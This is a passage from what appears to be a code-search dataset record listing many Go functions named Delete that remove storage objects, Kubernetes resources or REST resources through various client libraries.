string) (r DeleteResult) {\r\n\t_, r.Err = client.Delete(deleteURL(client, id), nil)\r\n\treturn\r\n}","func Delete(c *gophercloud.ServiceClient, id string) (r DeleteResult) {\n\tresp, err := c.Delete(resourceURL(c, id), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}","func (r *VCMPResource) Delete(id string) error {\n\tif err := r.c.ModQuery(\"DELETE\", BasePath+VCMPEndpoint+\"/\"+id, nil); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (cl *Client) Delete(c context.Context, url string, opts ...RequestOption) (*Response, error) {\n\treq, err := cl.NewRequest(c, http.MethodDelete, url, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn cl.Do(c, req)\n}","func (d *Datastore) Delete(k ds.Key) error {\n\td.l.Infow(\"deleting object\", \"key\", k)\n\t_, err := d.S3.DeleteObject(&s3.DeleteObjectInput{\n\t\tBucket: aws.String(d.Bucket),\n\t\tKey: aws.String(d.s3Path(k.String())),\n\t})\n\tif err != nil {\n\t\td.l.Errorw(\"failed to delete object\", \"error\", err)\n\t\treturn parseError(err)\n\t}\n\td.l.Info(\"successfully deleted object\")\n\treturn nil\n}","func (s *Nap) Delete(pathURL string) *Nap {\n\ts.method = MethodDelete\n\treturn s.Path(pathURL)\n}","func (s *Storage) Delete(request *openapi.BackupRequest) error {\n\tfor _, v := range request.Envs {\n\t\tos.Setenv(v.Name, v.Value)\n\t}\n\tctx := context.Background()\n\tclient, err := getClient(ctx)\n\tif err != nil {\n\t\tlog.Printf(\"Error delete/getClient for %s:%s, error: %v\", request.Bucket, request.Location, err)\n\t\treturn fmt.Errorf(\"Cannot get Client: %v\", err)\n\t}\n\tdefer client.Close()\n\n\tctx, cancel := context.WithTimeout(ctx, time.Second*60)\n\tdefer cancel()\n\n\tlocation := request.Location\n\tif request.Location[0:1] == \"/\" {\n\t\tlocation = request.Location[1:]\n\t}\n\to := client.Bucket(request.Bucket).Object(location)\n\tif err := o.Delete(ctx); err != nil {\n\t\tlog.Printf(\"Error delete/Delete for %s:%s, error: %v\", request.Bucket, request.Location, err)\n\t\treturn fmt.Errorf(\"Object(%q).Delete: %v\", request.Location, err)\n\t}\n\tfmt.Printf(\"Delete for %s:%s deleted.\\n\", request.Bucket, request.Location)\n\treturn nil\n}","func Delete(ctx context.Context, c client.Writer, ref *corev1.ObjectReference) error {\n\tobj := new(unstructured.Unstructured)\n\tobj.SetAPIVersion(ref.APIVersion)\n\tobj.SetKind(ref.Kind)\n\tobj.SetName(ref.Name)\n\tobj.SetNamespace(ref.Namespace)\n\tif err := c.Delete(ctx, obj); err != nil {\n\t\treturn errors.Wrapf(err, \"failed to delete %s external object %q/%q\", obj.GetKind(), obj.GetNamespace(), obj.GetName())\n\t}\n\treturn nil\n}","func (b *Builder) Delete(url string) *Builder {\n\tb.Url = url\n\tb.Method = http.MethodDelete\n\treturn b\n}","func (api *versionAPI) Delete(obj *cluster.Version) error {\n\tif api.ct.resolver != nil {\n\t\tapicl, err := api.ct.apiClient()\n\t\tif err != nil {\n\t\t\tapi.ct.logger.Errorf(\"Error creating API server clent. Err: %v\", err)\n\t\t\treturn err\n\t\t}\n\n\t\t_, err = apicl.ClusterV1().Version().Delete(context.Background(), &obj.ObjectMeta)\n\t\treturn err\n\t}\n\n\tapi.ct.handleVersionEvent(&kvstore.WatchEvent{Object: obj, Type: kvstore.Deleted})\n\treturn nil\n}","func (r *Request) Delete(url string) (*Response, error) {\n\treturn r.Execute(MethodDelete, url)\n}","func (r Requester) Delete(path string) Requester {\n\treq, err := http.NewRequest(http.MethodDelete, r.url, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tr.httpRequest = req\n\treturn r\n}","func (s *Storage) Delete(ctx context.Context, uri string) error {\n\tbucket, key, err := parseURI(uri)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = s3.New(s.session).DeleteObjectWithContext(\n\t\tctx,\n\t\t&s3.DeleteObjectInput{\n\t\t\tBucket: aws.String(bucket),\n\t\t\tKey: aws.String(key),\n\t\t},\n\t)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"delete object from s3\")\n\t}\n\n\treturn nil\n}","func (t *FakeObjectTracker) Delete(gvr schema.GroupVersionResource, ns, name string) error {\n\treturn nil\n}","func Delete(client *occlient.Client, kClient *kclient.Client, urlName string, applicationName string, urlType localConfigProvider.URLKind, isS2i bool) error {\n\tif urlType == localConfigProvider.INGRESS {\n\t\treturn kClient.DeleteIngress(urlName)\n\t} else if urlType == localConfigProvider.ROUTE {\n\t\tif isS2i {\n\t\t\t// Namespace the URL name\n\t\t\tvar err error\n\t\t\turlName, err = util.NamespaceOpenShiftObject(urlName, applicationName)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"unable to create namespaced name\")\n\t\t\t}\n\t\t}\n\n\t\treturn client.DeleteRoute(urlName)\n\t}\n\treturn errors.New(\"url type is not supported\")\n}","func (g *gcs) Delete(ctx context.Context, remotePath string) (err error) {\n\tif err = g.bucket.Object(remotePath).Delete(g.context); err != nil {\n\t\treturn err\n\t}\n\n\treturn\n}","func (c *OperatorDNS) Delete(bucket string) error {\n\tctx, cancel := context.WithTimeout(context.Background(), defaultOperatorContextTimeout)\n\tdefer cancel()\n\te, err := c.endpoint(bucket, true)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq, err := http.NewRequestWithContext(ctx, http.MethodPost, e, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err = c.addAuthHeader(req); err != nil {\n\t\treturn err\n\t}\n\tresp, err := c.httpClient.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\txhttp.DrainBody(resp.Body)\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"request to delete the service for bucket %s, failed with status %s\", bucket, resp.Status)\n\t}\n\treturn nil\n}","func (b NeteaseNOSBackend) DeleteObject(path string) error {\n\tkey := pathutil.Join(b.Prefix, path)\n\n\tobjectRequest := &model.ObjectRequest{\n\t\tBucket: b.Bucket,\n\t\tObject: key,\n\t}\n\n\terr := b.Client.DeleteObject(objectRequest)\n\treturn err\n}","func (s *Service) doDelete(ctx *context.Context, url string) *types.Error {\n\n\tbucket := \"l8ldiytwq83d8ckg\"\n\tsess, err := session.NewSession(&aws.Config{})\n\tif err != nil {\n\t\treturn nil\n\t}\n\tsvc := s3.New(sess)\n\n\t_, errObject := svc.DeleteObject(&s3.DeleteObjectInput{Bucket: aws.String(bucket), Key: aws.String(url)})\n\tif errObject != nil {\n\t\terr := &types.Error{\n\t\t\tPath: \".uploaderService->doDelete()\",\n\t\t\tMessage: errObject.Error(),\n\t\t\tError: errObject,\n\t\t\tType: \"aws-error\",\n\t\t}\n\t\treturn err\n\t}\n\terrObject = svc.WaitUntilObjectNotExists(&s3.HeadObjectInput{\n\t\tBucket: aws.String(bucket),\n\t\tKey: aws.String(url),\n\t})\n\tif errObject != nil {\n\t\terr := &types.Error{\n\t\t\tPath: \".uploaderService->doDelete()\",\n\t\t\tMessage: errObject.Error(),\n\t\t\tError: errObject,\n\t\t\tType: \"aws-error\",\n\t\t}\n\t\treturn err\n\t}\n\n\treturn nil\n}","func (f5 *f5LTM) delete(url string, result interface{}) error {\n\treturn f5.restRequest(\"DELETE\", url, nil, result)\n}","func (rb *RequestBuilder) Delete(url string) *Response {\n\treturn rb.DoRequest(http.MethodDelete, url, nil)\n}","func DeleteURL(w http.ResponseWriter, r *http.Request) {\n\t// w.Header().Set(\"Content-Type\", \"application/json\")\n\t// w.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\tw.Header().Set(\"Access-Control-Allow-Methods\", \"POST\")\n\t// w.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Type\")\n\n\tif !auth.IsValidToken(r.Header.Get(\"x-auth-token\")) {\n\t\tresp := response{Status: \"error\", Message: \"Invalid Token\"}\n\t\tjson.NewEncoder(w).Encode(resp)\n\t\treturn\n\t}\n\n\tvar reqURL models.URLShorten\n\t_ = json.NewDecoder(r.Body).Decode(&reqURL)\n\n\tfilter := bson.D{{\"_id\", reqURL.ID}}\n\n\tresult, err := collection.DeleteOne(context.TODO(), filter)\n\tif err != nil {\n\t\tlg.WriteError(err.Error())\n\t}\n\n\tjson.NewEncoder(w).Encode(response{\"okay\", fmt.Sprintf(\"deleted %v documents\", result.DeletedCount)})\n}","func (r *ExternalRequest) Delete(ctx context.Context) error {\n\treturn r.JSONRequest(ctx, \"DELETE\", \"\", nil, nil)\n}","func Delete(c *gophercloud.ServiceClient, id string) (r DeleteResult) {\n\tresp, err := c.Delete(deleteURL(c, id), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}","func Delete(c *gophercloud.ServiceClient, id string) (r DeleteResult) {\n\tresp, err := c.Delete(deleteURL(c, id), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}","func (d *driver) Delete(ctx context.Context, path string) error {\n\treturn d.Bucket.Delete(ctx, path)\n}","func (r *DOSProfileDOSNetworkResource) Delete(id string) error {\n\tif err := r.c.ModQuery(\"DELETE\", BasePath+DOSProfileDOSNetworkEndpoint+\"/\"+id, nil); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func Delete(client *gophercloud.ServiceClient, id string) (r DeleteResult) {\n\tresp, err := client.Delete(deleteURL(client, id), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}","func Delete(client *gophercloud.ServiceClient, id string) (r DeleteResult) {\n\tresp, err := client.Delete(deleteURL(client, id), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}","func Delete(client *gophercloud.ServiceClient, id string) (r DeleteResult) {\n\tresp, err := client.Delete(deleteURL(client, id), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}","func Delete(client *gophercloud.ServiceClient, id string) (r DeleteResult) {\n\tresp, err := client.Delete(deleteURL(client, id), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}","func Delete(config *HTTPConfig) (*HTTPResult, error) {\n\treturn HandleRequest(\"DELETE\", config)\n}","func (controller *WidgetController) Delete(context *qhttp.Context) {\n\tcontroller.storage.Delete(context.URIParameters[\"id\"])\n\tcontext.SetResponse(\"\", http.StatusNoContent)\n}","func Delete(dest interface{}, uri string, data url.Values) error {\n\treturn DefaultClient.Delete(dest, uri, data)\n}","func (c *Client) Delete(ctx context.Context, obj runtime.Object) error {\n\tlocal, err := c.convert(obj)\n\tif err != nil {\n\t\treturn err\n\t}\n\tsecret := &corev1.Secret{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: local.Spec.Name,\n\t\t\tNamespace: local.ObjectMeta.Namespace,\n\t\t},\n\t}\n\treturn client.IgnoreNotFound((*c.kubeclient).Delete(ctx, secret))\n}","func (ds *Datastore) Delete(key datastore.Key) error {\n\tc := ds.client()\n\n\tif has, err := ds.Has(key); has == false {\n\t\treturn datastore.ErrNotFound\n\t} else if err != nil {\n\t\treturn err\n\t}\n\n\t_, err := c.DeleteObject(&awsS3.DeleteObjectInput{\n\t\tKey: aws.String(ds.path(key)),\n\t\tBucket: aws.String(ds.Bucket),\n\t})\n\n\treturn err\n}","func (tr *Transport) Delete(url string, fn HandlerFunc, options ...HandlerOption) {\n\ttr.mux.Handler(net_http.MethodDelete, url, encapsulate(fn, tr.options, options))\n}","func (e EndPoint) Delete(container EndPointContainer) {\n\n\tentity := reflect.New(container.GetPrototype()).Interface()\n\tvar id int64\n\t_, err := fmt.Sscanf(container.GetRequest().URL.Query().Get(\":id\"), \"%d\", &id)\n\tif err != nil {\n\t\tcontainer.Error(err, http.StatusBadRequest)\n\t\treturn\n\t}\n\trepository := container.GetRepository()\n\n\terr = repository.FindByID(id, entity.(Entity))\n\tif err != nil {\n\t\tcontainer.Error(err, http.StatusNotFound)\n\t\treturn\n\t}\n\terr = container.GetSignal().Dispatch(&BeforeResourceDeleteEvent{})\n\tif err != nil {\n\t\tcontainer.Error(err, http.StatusInternalServerError)\n\t\treturn\n\t}\n\terr = repository.Delete(entity.(Entity))\n\tif err != nil {\n\t\tcontainer.Error(err, http.StatusInternalServerError)\n\t\treturn\n\t}\n\terr = container.GetSignal().Dispatch(&AfterResourceDeleteEvent{})\n\tif err != nil {\n\t\tcontainer.Error(err, http.StatusInternalServerError)\n\t\treturn\n\t}\n\tcontainer.GetResponseWriter().WriteHeader(http.StatusOK)\n}","func (s NounResource) Delete(id string, r api2go.Request) (api2go.Responder, error) {\n\terr := s.NounStorage.Delete(id)\n\n\tif err != nil {\n\t\treturn &Response{Code: http.StatusNotFound}, api2go.NewHTTPError(err, err.Error(), http.StatusNotFound)\n\t}\n\n\treturn &Response{Code: http.StatusNoContent}, err\n}","func Delete(ctx context.Context, client *v1.ServiceClient, domainID int) (*v1.ResponseResult, error) {\n\turl := strings.Join([]string{client.Endpoint, strconv.Itoa(domainID)}, \"/\")\n\tresponseResult, err := client.DoRequest(ctx, http.MethodDelete, url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif responseResult.Err != nil {\n\t\terr = responseResult.Err\n\t}\n\n\treturn responseResult, err\n}","func Delete(client *gophercloud.ServiceClient, trustID string) (r DeleteResult) {\n\tresp, err := client.Delete(deleteURL(client, trustID), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}","func (c *Client) Delete(path string) error {\n\treturn c.CreateAndDo(\"DELETE\", path, nil, nil, nil, nil)\n}","func (rc *RequiredCapability) Delete() (error, error, int) {\n\tauthorized, err := rc.isTenantAuthorized()\n\tif !authorized {\n\t\treturn errors.New(\"not authorized on this tenant\"), nil, http.StatusForbidden\n\t} else if err != nil {\n\t\treturn nil, fmt.Errorf(\"checking authorization for existing DS ID: %s\" + err.Error()), http.StatusInternalServerError\n\t}\n\t_, cdnName, _, err := dbhelpers.GetDSNameAndCDNFromID(rc.ReqInfo.Tx.Tx, *rc.DeliveryServiceID)\n\tif err != nil {\n\t\treturn nil, err, http.StatusInternalServerError\n\t}\n\tuserErr, sysErr, errCode := dbhelpers.CheckIfCurrentUserCanModifyCDN(rc.ReqInfo.Tx.Tx, string(cdnName), rc.ReqInfo.User.UserName)\n\tif userErr != nil || sysErr != nil {\n\t\treturn userErr, sysErr, errCode\n\t}\n\treturn api.GenericDelete(rc)\n}","func Delete(model Model) error {\n\tfullURL := model.RootURL() + \"/\" + model.GetId()\n\treq := xhr.NewRequest(\"DELETE\", fullURL)\n\treq.Timeout = 1000 // one second, in milliseconds\n\treq.ResponseType = \"text\"\n\terr := req.Send(nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Something went wrong with DELETE request to %s. %s\", fullURL, err.Error())\n\t}\n\treturn nil\n}","func Delete(client *gophercloud.ServiceClient, regionID string) (r DeleteResult) {\n\tresp, err := client.Delete(deleteURL(client, regionID), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}","func Delete(client *gophercloud.ServiceClient, id string, bearer map[string]string) (r volumes.DeleteResult) {\n\t_, r.Err = client.Delete(deleteURL(client, id), &gophercloud.RequestOpts{\n\t\tMoreHeaders: bearer,\n\t})\n\treturn\n}","func Delete(client *gophercloud.ServiceClient, id string) DeleteResult {\n\tvar res DeleteResult\n\n\t_, res.Err = client.Request(\"DELETE\", resourceURL(client, id), gophercloud.RequestOpts{\n\t\tOkCodes: []int{202},\n\t})\n\n\treturn res\n}","func (c *Client) DeleteObject(objectPath string) error {\n\tendpoint, _ := url.Parse(c.Endpoint.String())\n\tendpoint.Path = path.Join(endpoint.Path, objectPath)\n\n\treq, err := http.NewRequest(\"DELETE\", endpoint.String(), nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Error making the request: %v\", err)\n\t}\n\n\tres, err := c.HTTPClient.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif statusErr := errorFromCode(res.StatusCode); statusErr != nil {\n\t\treturn statusErr\n\t}\n\n\treturn nil\n}","func (r *Request) Delete(url string) *Request {\n\tr.method = http.MethodDelete\n\tr.url = url\n\treturn r\n}","func (fkw *FakeClientWrapper) Delete(ctx context.Context, obj runtime.Object, opts ...k8sCl.DeleteOption) error {\n\treturn fkw.client.Delete(ctx, obj, opts...)\n}","func (c *Client) delete(rawURL string, authenticate bool, out interface{}) error {\n\terr := c.do(rawURL, \"DELETE\", authenticate, http.StatusOK, nil, out)\n\treturn errio.Error(err)\n}","func (s S3Service) Delete(path string) (bool, error) {\n\t// get path of the file\n\n\t// config settings: this is where you choose the bucket,\n\t//filepath of the object that needs to be deleted\n\t// you're deleting\n\t_, err := s3.New(s.connectToS3()).DeleteObject(&s3.DeleteObjectInput{\n\t\tBucket: aws.String(s.Bucket),\n\t\tKey: aws.String(path),\n\t})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\treturn true, err\n}","func (r *ExternalConnectionRequest) Delete(ctx context.Context) error {\n\treturn r.JSONRequest(ctx, \"DELETE\", \"\", nil, nil)\n}","func (obj *RawCardSigner) Delete() {\n\tif obj == nil {\n\t\treturn\n\t}\n\truntime.SetFinalizer(obj, nil)\n\tobj.delete()\n}","func (c *Client) Delete(id string) error {\n\t_, err := c.delete(c.url.String() + \"/\" + id)\n\treturn err\n}"],"string":"[\n \"func (c *Client) Delete(d core.Digest) error {\\n\\t_, err := httputil.Delete(fmt.Sprintf(\\\"http://%s/blobs/%s\\\", c.addr, d))\\n\\treturn err\\n}\",\n \"func (s *PublicStorageServer) Delete(ctx context.Context, url *pbs.FileURL) (*emptypb.Empty, error) {\\n\\tvar obj file.MinioObj\\n\\tif err := obj.FromURL(url.Url); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\terr := services.MinioClient.RemoveObject(context.Background(), \\\"public\\\", obj.ObjectName, minio.RemoveObjectOptions{})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tlog.Printf(\\\"Delete from url: %s\\\", obj.URL)\\n\\n\\treturn &emptypb.Empty{}, nil\\n}\",\n \"func (c *Client) Delete(rawurl string) error {\\n\\treturn c.Do(rawurl, \\\"DELETE\\\", nil, nil)\\n}\",\n \"func Delete(c client.Client, obj runtime.Object) error {\\n\\tif err := c.Delete(context.Background(), obj); err != nil {\\n\\t\\tif apierrors.IsNotFound(err) {\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (handler *ObjectWebHandler) Delete(w http.ResponseWriter, r *http.Request) {\\n\\trespondWithError(w, http.StatusNotImplemented, \\\"Not implemented\\\", nil)\\n}\",\n \"func (driver *S3Driver) Delete(id string) error {\\n\\treturn driver.client.RemoveObject(context.Background(), driver.bucket, id+\\\".json\\\", minio.RemoveObjectOptions{})\\n}\",\n \"func Delete(url string, data ...interface{}) (*ClientResponse, error) {\\n\\treturn DoRequest(\\\"DELETE\\\", url, data...)\\n}\",\n \"func (c *Client) Delete(url string, headers map[string][]string) (client.Status, map[string][]string, io.ReadCloser, error) {\\n\\treturn c.Do(\\\"DELETE\\\", url, headers, nil)\\n}\",\n \"func (c *Client) Delete(ctx context.Context, url string, data ...interface{}) (*Response, error) {\\n\\treturn c.DoRequest(ctx, http.MethodDelete, url, data...)\\n}\",\n \"func (api *bucketAPI) Delete(obj *objstore.Bucket) error {\\n\\tif api.ct.resolver != nil {\\n\\t\\tapicl, err := api.ct.apiClient()\\n\\t\\tif err != nil {\\n\\t\\t\\tapi.ct.logger.Errorf(\\\"Error creating API server clent. Err: %v\\\", err)\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\n\\t\\t_, err = apicl.ObjstoreV1().Bucket().Delete(context.Background(), &obj.ObjectMeta)\\n\\t\\treturn err\\n\\t}\\n\\n\\tapi.ct.handleBucketEvent(&kvstore.WatchEvent{Object: obj, Type: kvstore.Deleted})\\n\\treturn nil\\n}\",\n \"func (s *s3ManifestService) Delete(ctx context.Context, dgst godigest.Digest) error {\\n\\treturn fmt.Errorf(\\\"unimplemented\\\")\\n}\",\n \"func (client *Client) Delete(ctx context.Context, bucket *storage.BucketHandle, path string) error {\\n\\tobject := bucket.Object(path)\\n\\tif err := object.Delete(ctx); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"cannot delete %s, err: %w\\\", path, err)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *Client) Delete(url string, headers, queryParams map[string][]string, data interface{}) (response *http.Response, err error) {\\n\\treturn c.makeRequest(url, http.MethodDelete, headers, queryParams, data)\\n}\",\n \"func (obj *SObject) Delete(id ...string) error {\\n\\tif obj.Type() == \\\"\\\" || obj.client() == nil {\\n\\t\\t// Sanity check\\n\\t\\treturn ErrFailure\\n\\t}\\n\\n\\toid := obj.ID()\\n\\tif id != nil {\\n\\t\\toid = id[0]\\n\\t}\\n\\tif oid == \\\"\\\" {\\n\\t\\treturn ErrFailure\\n\\t}\\n\\n\\turl := obj.client().makeURL(\\\"sobjects/\\\" + obj.Type() + \\\"/\\\" + obj.ID())\\n\\tlog.Println(url)\\n\\t_, err := obj.client().httpRequest(http.MethodDelete, url, nil)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func Delete(k8sClient client.Client, obj client.Object) error {\\n\\treturn k8sClient.Delete(context.TODO(), obj)\\n}\",\n \"func (c *Client) Delete(ctx context.Context, link string) error {\\n\\n\\tauthKey, err := GetAccessTokenFromContext(ctx)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"Missing token in context\\\")\\n\\t}\\n\\n\\treq, err := http.NewRequest(\\\"DELETE\\\", link, nil)\\n\\n\\tif err != nil {\\n\\t\\tlog.Error(\\\"Cannot create request:\\\", err)\\n\\t\\treturn err\\n\\t}\\n\\n\\treq.Header.Add(\\\"X-Requested-With\\\", \\\"XMLHttpRequest\\\")\\n\\treq.Header.Add(\\\"authorization\\\", authKey)\\n\\treq.Header.Add(\\\"Accept\\\", \\\"application/json\\\")\\n\\tresp, err := c.httpClient.Do(req)\\n\\n\\tif err != nil {\\n\\t\\tlog.Error(\\\"POST request error:\\\", err)\\n\\t\\treturn err\\n\\t}\\n\\t// this is required to properly empty the buffer for the next call\\n\\tdefer func() {\\n\\t\\tio.Copy(ioutil.Discard, resp.Body)\\n\\t}()\\n\\n\\tif resp.StatusCode != http.StatusOK {\\n\\t\\tbody, err := ioutil.ReadAll(resp.Body)\\n\\t\\tlog.Error(err, \\\": \\\", string(body))\\n\\t}\\n\\n\\treturn err\\n}\",\n \"func (self *Client) Delete(dst interface{}, path string, data url.Values) error {\\n\\tvar addr *url.URL\\n\\tvar err error\\n\\tvar body *strings.Reader\\n\\n\\tif addr, err = url.Parse(self.Prefix + strings.TrimLeft(path, \\\"/\\\")); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif data != nil {\\n\\t\\tbody = strings.NewReader(data.Encode())\\n\\t}\\n\\n\\treturn self.newRequest(dst, \\\"DELETE\\\", addr, body)\\n}\",\n \"func (b *Bucket) Delete(_ context.Context, name string) error {\\n\\treturn b.client.DeleteObject(b.name, name)\\n}\",\n \"func (api *objectAPI) Delete(obj *objstore.Object) error {\\n\\tif api.ct.resolver != nil {\\n\\t\\tapicl, err := api.ct.apiClient()\\n\\t\\tif err != nil {\\n\\t\\t\\tapi.ct.logger.Errorf(\\\"Error creating API server clent. Err: %v\\\", err)\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\n\\t\\t_, err = apicl.ObjstoreV1().Object().Delete(context.Background(), &obj.ObjectMeta)\\n\\t\\treturn err\\n\\t}\\n\\n\\tapi.ct.handleObjectEvent(&kvstore.WatchEvent{Object: obj, Type: kvstore.Deleted})\\n\\treturn nil\\n}\",\n \"func (b *Bucket) Delete(filename string) error {\\n\\t// set session\\n\\tsess, err := b.setSession()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tsvc := b.newS3func(sess)\\n\\t_, err = svc.DeleteObject(&s3.DeleteObjectInput{\\n\\t\\tBucket: aws.String(b.BucketName),\\n\\t\\tKey: aws.String(crPath + filename),\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"Error deleting %s from bucket %s : %s\\\", filename, b.BucketName, err.Error())\\n\\t}\\n\\n\\terr = svc.WaitUntilObjectNotExists(&s3.HeadObjectInput{\\n\\t\\tBucket: aws.String(b.BucketName),\\n\\t\\tKey: aws.String(crPath + filename),\\n\\t})\\n\\treturn err\\n}\",\n \"func (handler *BucketWebHandler) Delete(w http.ResponseWriter, r *http.Request) {\\n\\trespondWithError(w, http.StatusNotImplemented, \\\"Not implemented\\\", nil)\\n}\",\n \"func Delete(c *gophercloud.ServiceClient, idOrURL string) (r DeleteResult) {\\n\\tvar url string\\n\\tif strings.Contains(idOrURL, \\\"/\\\") {\\n\\t\\turl = idOrURL\\n\\t} else {\\n\\t\\turl = deleteURL(c, idOrURL)\\n\\t}\\n\\tresp, err := c.Delete(url, nil)\\n\\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\\n\\treturn\\n}\",\n \"func (p *PluginClient) Delete(ctx context.Context, baseURL *duckv1.Addressable, path string, options ...OptionFunc) error {\\n\\toptions = append(defaultOptions, options...)\\n\\n\\trequest := p.R(ctx, baseURL, options...)\\n\\tresponse, err := request.Delete(p.fullUrl(baseURL, path))\\n\\n\\treturn p.HandleError(response, err)\\n}\",\n \"func Delete(url string) *THttpClient {\\r\\n\\treturn NewHttpClient(url).Delete(\\\"\\\")\\r\\n}\",\n \"func Delete(url string, data ...interface{}) (*Response, error) {\\n\\tr := NewRequest()\\n\\treturn r.Delete(url, data...)\\n}\",\n \"func (v *DCHttpClient) Delete(\\n\\turl string, headers map[string]string) (response *DCHttpResponse, err error) {\\n\\treturn v.DoWithoutContent(http.MethodDelete, url, headers)\\n}\",\n \"func (c *Client) Delete(url string, resType interface{}) error {\\n\\treturn c.CallAPI(\\\"DELETE\\\", url, nil, resType, true)\\n}\",\n \"func (adp *s3Storage) Delete(ctx context.Context, filename string) error {\\n\\t_, err := s3.New(adp.dsn.Sess).DeleteObject(&s3.DeleteObjectInput{\\n\\t\\tBucket: aws.String(adp.dsn.Bucket),\\n\\t\\tKey: aws.String(adp.dsn.Join(filename)),\\n\\t})\\n\\treturn err\\n}\",\n \"func (h *EcrHandler) Delete(obj interface{}) error {\\n\\treturn nil\\n}\",\n \"func Delete(uri string) error {\\n\\treq, err := http.NewRequest(\\\"DELETE\\\", Host+uri, nil)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tres, err := Client.Do(req)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer res.Body.Close()\\n\\n\\tif res.StatusCode != 204 {\\n\\t\\treturn fmt.Errorf(\\\"got %d\\\", res.StatusCode)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func Delete(url string, token string, client http.Client) (err error) {\\n\\treq, err := http.NewRequest(\\\"DELETE\\\", url, nil)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treq.Header.Set(\\\"X-Auth-Token\\\", token)\\n\\n\\tresp, err := client.Do(req)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// Expecting a successful delete\\n\\tif !(resp.StatusCode == 200 || resp.StatusCode == 202 || resp.StatusCode == 204) {\\n\\t\\terr = fmt.Errorf(\\\"Unexpected server response status code on Delete '%s'\\\", resp.StatusCode)\\n\\t\\treturn\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func Delete(url string) (*http.Response, error) {\\n\\treq, err := http.NewRequest(\\\"DELETE\\\", url, nil)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn http.DefaultClient.Do(req)\\n}\",\n \"func Delete() {\\n\\treqUrl := \\\"https://jsonplaceholder.typicode.com/posts/1\\\"\\n\\n\\tclient := http.Client{}\\n\\n\\treq, err := http.NewRequest(http.MethodDelete, reqUrl, bytes.NewBuffer(make([]byte, 0)))\\n\\n\\tcheckError(err)\\n\\n\\tresp, respErr := client.Do(req)\\n\\n\\tcheckError(respErr)\\n\\n\\tfmt.Println(resp.StatusCode)\\n}\",\n \"func (F *Frisby) Delete(url string) *Frisby {\\n\\tF.Method = \\\"DELETE\\\"\\n\\tF.Url = url\\n\\treturn F\\n}\",\n \"func (h *Handler) Delete(bucket, name string) error {\\n\\treq := h.Client.DeleteObjectRequest(&s3.DeleteObjectInput{\\n\\t\\tBucket: &bucket,\\n\\t\\tKey: &name,\\n\\t})\\n\\n\\tresp, err := req.Send(context.Background())\\n\\tif err != nil {\\n\\t\\tklog.Error(\\\"Failed to send Delete request. error: \\\", err)\\n\\t\\treturn err\\n\\t}\\n\\n\\tklog.V(10).Info(\\\"Delete Success\\\", resp)\\n\\n\\treturn nil\\n}\",\n \"func (dc Datacenter) Delete(client MetalCloudClient) error {\\n\\treturn nil\\n}\",\n \"func Delete() error {\\n\\n}\",\n \"func (b *Bucket) Delete(ctx context.Context, name string) error {\\n\\treturn b.bkt.Object(name).Delete(ctx)\\n}\",\n \"func Delete(url string, authHeader string) (int, []byte) {\\n\\tcode, _, response := DeleteWithHeaderInResult(url, authHeader)\\n\\treturn code, response\\n}\",\n \"func Delete(url string, r io.Reader, w io.Writer, clientGenerator func() *http.Client, reqTuner ...func(*http.Request)) error {\\n\\treturn Request(\\\"DELETE\\\", url, r, w, clientGenerator, reqTuner...)\\n}\",\n \"func Delete(path string, fn http.HandlerFunc, c ...alice.Constructor) 